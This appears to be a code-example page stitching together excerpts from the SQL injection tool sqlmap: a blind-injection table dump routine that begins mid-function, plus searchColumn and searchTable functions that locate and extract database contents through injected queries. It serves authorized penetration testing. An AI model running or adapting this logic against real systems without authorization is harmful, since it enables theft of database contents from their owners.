                    if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL):
                        query = rootQuery.blind.count % (tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())))
                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.MAXDB, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.RAIMA):
                        query = rootQuery.blind.count % tbl
                    elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
                        query = rootQuery.blind.count % ("%s.%s" % (conf.db, tbl))
                    elif Backend.isDbms(DBMS.INFORMIX):
                        query = rootQuery.blind.count % (conf.db, tbl)
                    else:
                        query = rootQuery.blind.count % (conf.db, tbl)

                    query = agent.whereQuery(query)

                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                    lengths = {}
                    entries = {}

                    if count == 0:
                        warnMsg = "table '%s' " % unsafeSQLIdentificatorNaming(tbl)
                        warnMsg += "in database '%s' " % unsafeSQLIdentificatorNaming(conf.db)
                        warnMsg += "appears to be empty"
                        logger.warn(warnMsg)

                        for column in colList:
                            lengths[column] = len(column)
                            entries[column] = []

                    elif not isNumPosStrValue(count):
                        warnMsg = "unable to retrieve the number of "
                        if conf.col:
                            warnMsg += "column(s) '%s' " % colNames
                        warnMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
                        warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                        logger.warn(warnMsg)

                        continue

                    elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL, DBMS.INFORMIX, DBMS.MCKOI, DBMS.RAIMA):
                        if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.RAIMA):
                            table = tbl
                        elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL, DBMS.MAXDB):
                            table = "%s.%s" % (conf.db, tbl)
                        elif Backend.isDbms(DBMS.INFORMIX):
                            table = "%s:%s" % (conf.db, tbl)

                        if Backend.isDbms(DBMS.MSSQL) and not conf.forcePivoting:
                            warnMsg = "in case of table dumping problems (e.g. column entry order) "
                            warnMsg += "you are advised to rerun with '--force-pivoting'"
                            singleTimeWarnMessage(warnMsg)

                            try:
                                indexRange = getLimitRange(count, plusOne=True)

                                for index in indexRange:
                                    for column in colList:
                                        query = rootQuery.blind.query3 % (column, column, table, index)
                                        query = agent.whereQuery(query)

                                        value = inject.getValue(query, union=False, error=False, dump=True) or ""

                                        if column not in lengths:
                                            lengths[column] = 0

                                        if column not in entries:
                                            entries[column] = BigArray()

                                        lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))))
                                        entries[column].append(value)

                            except KeyboardInterrupt:
                                kb.dumpKeyboardInterrupt = True
                                clearConsoleLine()
                                warnMsg = "Ctrl+C detected in dumping phase"
                                logger.warn(warnMsg)

                        if not entries and not kb.dumpKeyboardInterrupt:
                            try:
                                retVal = pivotDumpTable(table, colList, count, blind=True)
                            except KeyboardInterrupt:
                                retVal = None
                                kb.dumpKeyboardInterrupt = True
                                clearConsoleLine()
                                warnMsg = "Ctrl+C detected in dumping phase"
                                logger.warn(warnMsg)

                            if retVal:
                                entries, lengths = retVal

                    else:
                        emptyColumns = []
                        plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES
                        indexRange = getLimitRange(count, plusOne=plusOne)

                        if len(colList) < len(indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD:
                            debugMsg = "checking for empty columns"
                            logger.debug(infoMsg)

                            for column in colList:
                                if not inject.checkBooleanExpression("(SELECT COUNT(%s) FROM %s)>0" % (column, kb.dumpTable)):
                                    emptyColumns.append(column)
                                    debugMsg = "column '%s' of table '%s' will not be " % (column, kb.dumpTable)
                                    debugMsg += "dumped as it appears to be empty"
                                    logger.debug(debugMsg)

                        try:
                            for index in indexRange:
                                for column in colList:
                                    value = ""

                                    if column not in lengths:
                                        lengths[column] = 0

                                    if column not in entries:
                                        entries[column] = BigArray()

                                    if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE):
                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index)
                                    elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE,):
                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index)
                                    elif Backend.getIdentifiedDbms() in (DBMS.MIMERSQL,):
                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), sorted(colList, key=len)[0], index)
                                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.EXTREMEDB):
                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index)
                                    elif Backend.isDbms(DBMS.FIREBIRD):
                                        query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl)
                                    elif Backend.isDbms(DBMS.INFORMIX):
                                        query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, sorted(colList, key=len)[0])
                                    elif Backend.isDbms(DBMS.FRONTBASE):
                                        query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl)
                                    else:
                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, tbl, index)

                                    query = agent.whereQuery(query)

                                    value = NULL if column in emptyColumns else inject.getValue(query, union=False, error=False, dump=True)
                                    value = '' if value is None else value

                                    lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))))
                                    entries[column].append(value)

                        except KeyboardInterrupt:
                            kb.dumpKeyboardInterrupt = True
                            clearConsoleLine()
                            warnMsg = "Ctrl+C detected in dumping phase"
                            logger.warn(warnMsg)

                    for column, columnEntries in entries.items():
                        length = max(lengths[column], len(column))

                        kb.data.dumpedTable[column] = {"length": length, "values": columnEntries}

                        entriesCount = len(columnEntries)

                if len(kb.data.dumpedTable) == 0 or (entriesCount == 0 and kb.permissionFlag):
                    warnMsg = "unable to retrieve the entries "
                    if conf.col:
                        warnMsg += "of columns '%s' " % colNames
                    warnMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
                    warnMsg += "in database '%s'%s" % (unsafeSQLIdentificatorNaming(conf.db), " (permission denied)" if kb.permissionFlag else "")
                    logger.warn(warnMsg)
                else:
                    kb.data.dumpedTable["__infos__"] = {"count": entriesCount,
                                                        "table": safeSQLIdentificatorNaming(tbl, True),
                                                        "db": safeSQLIdentificatorNaming(conf.db)}
                    try:
                        attackDumpedTable()
                    except (IOError, OSError) as ex:
                        errMsg = "an error occurred while attacking "
                        errMsg += "table dump ('%s')" % getSafeExString(ex)
                        logger.critical(errMsg)
                    conf.dumper.dbTableValues(kb.data.dumpedTable)

            except SqlmapConnectionException as ex:
                errMsg = "connection exception detected in dumping phase "
                errMsg += "('%s')" % getSafeExString(ex)
                logger.critical(errMsg)

            finally:
                kb.dumpColumns = None
                kb.dumpTable = None
Ejemplo n.º 40
0
    def searchColumn(self):
        rootQuery = queries[Backend.getIdentifiedDbms()].search_column
        foundCols = {}
        dbs = {}
        whereTblsQuery = ""
        infoMsgTbl = ""
        infoMsgDb = ""
        colList = conf.col.split(",")
        origTbl = conf.tbl
        origDb = conf.db
        colCond = rootQuery.inband.condition
        tblCond = rootQuery.inband.condition2
        colConsider, colCondParam = self.likeOrExact("column")

        if conf.db and conf.db != CURRENT_DB:
            enumDbs = conf.db.split(",")
        elif not len(kb.data.cachedDbs):
            enumDbs = self.getDbs()
        else:
            enumDbs = kb.data.cachedDbs

        for db in enumDbs:
            db = safeSQLIdentificatorNaming(db)
            dbs[db] = {}

        for column in colList:
            column = safeSQLIdentificatorNaming(column)
            conf.db = origDb
            conf.tbl = origTbl

            infoMsg = "searching column"
            if colConsider == "1":
                infoMsg += "s like"
            infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column)

            foundCols[column] = {}

            if conf.tbl:
                _ = conf.tbl.split(",")
                whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")"
                infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(tbl for tbl in _))

            if conf.db and conf.db != CURRENT_DB:
                _ = conf.db.split(",")
                infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _))
            elif conf.excludeSysDbs:
                infoMsg2 = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
                logger.info(infoMsg2)
            else:
                infoMsgDb = " across all databases"

            logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb))

            colQuery = "%s%s" % (colCond, colCondParam)
            colQuery = colQuery % unsafeSQLIdentificatorNaming(column)

            for db in dbs.keys():
                db = safeSQLIdentificatorNaming(db)

                if conf.excludeSysDbs and db in self.excludeDbsList:
                    continue

                if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                    query = rootQuery.inband.query % (db, db, db, db, db, db)
                    query += " AND %s" % colQuery.replace("[DB]", db)
                    query += whereTblsQuery.replace("[DB]", db)
                    values = inject.getValue(query, blind=False, time=False)

                    if not isNoneValue(values):
                        if isinstance(values, basestring):
                            values = [values]

                        for foundTbl in values:
                            foundTbl = safeSQLIdentificatorNaming(foundTbl, True)

                            if foundTbl is None:
                                continue

                            if foundTbl not in dbs[db]:
                                dbs[db][foundTbl] = {}

                            if colConsider == "1":
                                conf.db = db
                                conf.tbl = foundTbl
                                conf.col = column

                                self.getColumns(onlyColNames=True, bruteForce=False)

                                if db in kb.data.cachedColumns and foundTbl in kb.data.cachedColumns[db]\
                                  and not isNoneValue(kb.data.cachedColumns[db][foundTbl]):
                                    dbs[db][foundTbl].update(kb.data.cachedColumns[db][foundTbl])
                                kb.data.cachedColumns = {}
                            else:
                                dbs[db][foundTbl][column] = None

                            if db in foundCols[column]:
                                foundCols[column][db].append(foundTbl)
                            else:
                                foundCols[column][db] = [foundTbl]
                else:
                    foundCols[column][db] = []

                    infoMsg = "fetching number of tables containing column"
                    if colConsider == "1":
                        infoMsg += "s like"
                    infoMsg += " '%s' in database '%s'" % (column, db)
                    logger.info("%s%s" % (infoMsg, infoMsgTbl))

                    query = rootQuery.blind.count
                    query = query % (db, db, db, db, db, db)
                    query += " AND %s" % colQuery.replace("[DB]", db)
                    query += whereTblsQuery.replace("[DB]", db)
                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                    if not isNumPosStrValue(count):
                        warnMsg = "no tables contain column"
                        if colConsider == "1":
                            warnMsg += "s like"
                        warnMsg += " '%s' " % column
                        warnMsg += "in database '%s'" % db
                        logger.warn(warnMsg)

                        continue

                    indexRange = getLimitRange(count)

                    for index in indexRange:
                        query = rootQuery.blind.query
                        query = query % (db, db, db, db, db, db)
                        query += " AND %s" % colQuery.replace("[DB]", db)
                        query += whereTblsQuery.replace("[DB]", db)
                        query = agent.limitQuery(index, query, colCond.replace("[DB]", db))
                        tbl = inject.getValue(query, union=False, error=False)
                        kb.hintValue = tbl

                        tbl = safeSQLIdentificatorNaming(tbl, True)

                        if tbl not in dbs[db]:
                            dbs[db][tbl] = {}

                        if colConsider == "1":
                            conf.db = db
                            conf.tbl = tbl
                            conf.col = column

                            self.getColumns(onlyColNames=True, bruteForce=False)

                            if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]:
                                dbs[db][tbl].update(kb.data.cachedColumns[db][tbl])
                            kb.data.cachedColumns = {}
                        else:
                            dbs[db][tbl][column] = None

                        foundCols[column][db].append(tbl)

        conf.dumper.dbColumns(foundCols, colConsider, dbs)
        self.dumpFoundColumn(dbs, foundCols, colConsider)
Ejemplo n.º 41
0
    def searchTable(self):
        bruteForce = False

        if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
            errMsg = "information_schema not available, "
            errMsg += "back-end DBMS is MySQL < 5.0"
            bruteForce = True

        if bruteForce:
            message = "do you want to use common table existence check? %s" % (
                "[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, )
                else "[y/N/q]")
            test = readInput(message, default="Y" if "Y" in message else "N")

            if test[0] in ("n", "N"):
                return
            elif test[0] in ("q", "Q"):
                raise sqlmapUserQuitException
            else:
                regex = "|".join(conf.tbl.split(","))
                return tableExists(paths.COMMON_TABLES, regex)

        foundTbls = {}
        tblList = conf.tbl.split(",")
        rootQuery = queries[Backend.getIdentifiedDbms()].search_table
        tblCond = rootQuery.inband.condition
        dbCond = rootQuery.inband.condition2
        whereDbsQuery = ""
        tblConsider, tblCondParam = self.likeOrExact("table")

        for tbl in tblList:
            tbl = safeSQLIdentificatorNaming(tbl, True)

            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                tbl = tbl.upper()

            infoMsg = "searching table"
            if tblConsider == "1":
                infoMsg += "s like"
            infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)

            if conf.db and conf.db != CURRENT_DB:
                _ = conf.db.split(",")
                whereDbsQuery = " AND (" + " OR ".join(
                    "%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db))
                    for db in _) + ")"
                infoMsg += " for database%s '%s'" % ("s" if len(_) > 1 else "",
                                                     ", ".join(db for db in _))
            elif conf.excludeSysDbs:
                whereDbsQuery = "".join(
                    " AND '%s' != %s" %
                    (unsafeSQLIdentificatorNaming(db), dbCond)
                    for db in self.excludeDbsList)
                infoMsg2 = "skipping system database%s '%s'" % (
                    "s" if len(self.excludeDbsList) > 1 else "", ", ".join(
                        db for db in self.excludeDbsList))
                logger.info(infoMsg2)

            logger.info(infoMsg)

            tblQuery = "%s%s" % (tblCond, tblCondParam)
            tblQuery = tblQuery % tbl

            if any(
                    isTechniqueAvailable(_)
                    for _ in (PAYLOAD.TECHNIQUE.UNION,
                              PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
                query = rootQuery.inband.query
                query += tblQuery
                query += whereDbsQuery
                values = inject.getValue(query, blind=False)

                for foundDb, foundTbl in filterPairValues(values):
                    foundDb = safeSQLIdentificatorNaming(foundDb)
                    foundTbl = safeSQLIdentificatorNaming(foundTbl, True)

                    if foundDb is None or foundTbl is None:
                        continue

                    if foundDb in foundTbls:
                        foundTbls[foundDb].append(foundTbl)
                    else:
                        foundTbls[foundDb] = [foundTbl]
            else:
                infoMsg = "fetching number of databases with table"
                if tblConsider == "1":
                    infoMsg += "s like"
                infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
                logger.info(infoMsg)

                query = rootQuery.blind.count
                query += tblQuery
                query += whereDbsQuery
                count = inject.getValue(query,
                                        inband=False,
                                        error=False,
                                        expected=EXPECTED.INT,
                                        charsetType=CHARSET_TYPE.DIGITS)

                if not isNumPosStrValue(count):
                    warnMsg = "no databases have table"
                    if tblConsider == "1":
                        warnMsg += "s like"
                    warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
                    logger.warn(warnMsg)

                    continue

                indexRange = getLimitRange(count)

                for index in indexRange:
                    query = rootQuery.blind.query
                    query += tblQuery
                    query += whereDbsQuery
                    if Backend.isDbms(DBMS.DB2):
                        query += ") AS foobar"
                    query = agent.limitQuery(index, query)
                    foundDb = inject.getValue(query, inband=False, error=False)
                    foundDb = safeSQLIdentificatorNaming(foundDb)

                    if foundDb not in foundTbls:
                        foundTbls[foundDb] = []

                    if tblConsider == "2":
                        foundTbls[foundDb].append(tbl)

                if tblConsider == "2":
                    continue

                for db in foundTbls.keys():
                    db = safeSQLIdentificatorNaming(db)

                    infoMsg = "fetching number of table"
                    if tblConsider == "1":
                        infoMsg += "s like"
                    infoMsg += " '%s' in database '%s'" % (
                        unsafeSQLIdentificatorNaming(tbl), db)
                    logger.info(infoMsg)

                    query = rootQuery.blind.count2
                    query = query % unsafeSQLIdentificatorNaming(db)
                    query += " AND %s" % tblQuery
                    count = inject.getValue(query,
                                            inband=False,
                                            error=False,
                                            expected=EXPECTED.INT,
                                            charsetType=CHARSET_TYPE.DIGITS)

                    if not isNumPosStrValue(count):
                        warnMsg = "no table"
                        if tblConsider == "1":
                            warnMsg += "s like"
                        warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl)
                        warnMsg += "in database '%s'" % db
                        logger.warn(warnMsg)

                        continue

                    indexRange = getLimitRange(count)

                    for index in indexRange:
                        query = rootQuery.blind.query2
                        query = query % unsafeSQLIdentificatorNaming(db)
                        query += " AND %s" % tblQuery
                        query = agent.limitQuery(index, query)
                        foundTbl = inject.getValue(query,
                                                   inband=False,
                                                   error=False)
                        kb.hintValue = foundTbl
                        foundTbl = safeSQLIdentificatorNaming(foundTbl, True)
                        foundTbls[db].append(foundTbl)

        if not foundTbls:
            warnMsg = "no databases contain any of the provided tables"
            logger.warn(warnMsg)
            return

        conf.dumper.dbTables(foundTbls)
        self.dumpFoundTables(foundTbls)